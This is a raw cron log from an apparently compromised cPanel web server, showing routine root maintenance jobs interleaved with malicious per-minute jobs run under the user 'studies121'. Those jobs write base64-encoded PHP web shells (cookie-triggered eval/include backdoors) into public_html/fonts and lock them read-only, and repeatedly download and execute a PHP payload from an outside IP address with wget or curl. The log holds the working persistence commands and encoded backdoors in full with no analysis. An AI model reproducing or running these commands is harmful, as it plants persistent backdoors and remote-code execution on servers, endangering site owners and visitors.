Sep  5 04:44:01 ip-184-168-122-23 CROND[10684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:44:01 ip-184-168-122-23 CROND[10687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:44:01 ip-184-168-122-23 CROND[10685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:45:01 ip-184-168-122-23 CROND[10810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:45:01 ip-184-168-122-23 CROND[10811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:45:01 ip-184-168-122-23 CROND[10812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:45:01 ip-184-168-122-23 CROND[10815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:45:01 ip-184-168-122-23 CROND[10816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:45:01 ip-184-168-122-23 CROND[10817]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  5 04:45:01 ip-184-168-122-23 CROND[10813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:46:01 ip-184-168-122-23 CROND[10924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:46:01 ip-184-168-122-23 CROND[10928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:46:01 ip-184-168-122-23 CROND[10927]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:46:01 ip-184-168-122-23 CROND[10926]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 04:46:01 ip-184-168-122-23 CROND[10929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:46:01 ip-184-168-122-23 CROND[10930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:46:01 ip-184-168-122-23 CROND[10931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:47:01 ip-184-168-122-23 CROND[11067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:47:01 ip-184-168-122-23 CROND[11066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:47:01 ip-184-168-122-23 CROND[11068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:47:01 ip-184-168-122-23 CROND[11069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:48:01 ip-184-168-122-23 CROND[11187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:48:01 ip-184-168-122-23 CROND[11189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:48:01 ip-184-168-122-23 CROND[11188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:48:01 ip-184-168-122-23 CROND[11193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:48:01 ip-184-168-122-23 CROND[11195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:49:02 ip-184-168-122-23 CROND[11397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:49:02 ip-184-168-122-23 CROND[11394]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 04:49:02 ip-184-168-122-23 CROND[11395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:49:02 ip-184-168-122-23 CROND[11398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:49:02 ip-184-168-122-23 CROND[11396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:50:01 ip-184-168-122-23 CROND[11548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:50:01 ip-184-168-122-23 CROND[11551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:50:01 ip-184-168-122-23 CROND[11550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:50:01 ip-184-168-122-23 CROND[11553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:50:01 ip-184-168-122-23 CROND[11552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:50:02 ip-184-168-122-23 CROND[11560]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:50:02 ip-184-168-122-23 CROND[11559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:50:02 ip-184-168-122-23 CROND[11562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:50:02 ip-184-168-122-23 CROND[11564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:51:01 ip-184-168-122-23 CROND[11760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:51:01 ip-184-168-122-23 CROND[11762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:51:01 ip-184-168-122-23 CROND[11761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:51:01 ip-184-168-122-23 CROND[11763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:52:01 ip-184-168-122-23 CROND[11876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:52:01 ip-184-168-122-23 CROND[11878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:52:01 ip-184-168-122-23 CROND[11877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:52:01 ip-184-168-122-23 CROND[11880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:52:01 ip-184-168-122-23 CROND[11879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:53:01 ip-184-168-122-23 CROND[11975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:53:01 ip-184-168-122-23 CROND[11978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:53:01 ip-184-168-122-23 CROND[11977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:53:01 ip-184-168-122-23 CROND[11979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:54:01 ip-184-168-122-23 CROND[12158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:54:01 ip-184-168-122-23 CROND[12160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:54:01 ip-184-168-122-23 CROND[12159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:54:01 ip-184-168-122-23 CROND[12161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:54:01 ip-184-168-122-23 CROND[12157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:55:01 ip-184-168-122-23 CROND[12248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:55:01 ip-184-168-122-23 CROND[12250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:55:01 ip-184-168-122-23 CROND[12253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:55:01 ip-184-168-122-23 CROND[12252]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:55:01 ip-184-168-122-23 CROND[12251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:55:01 ip-184-168-122-23 CROND[12254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:56:01 ip-184-168-122-23 CROND[12368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:56:01 ip-184-168-122-23 CROND[12369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
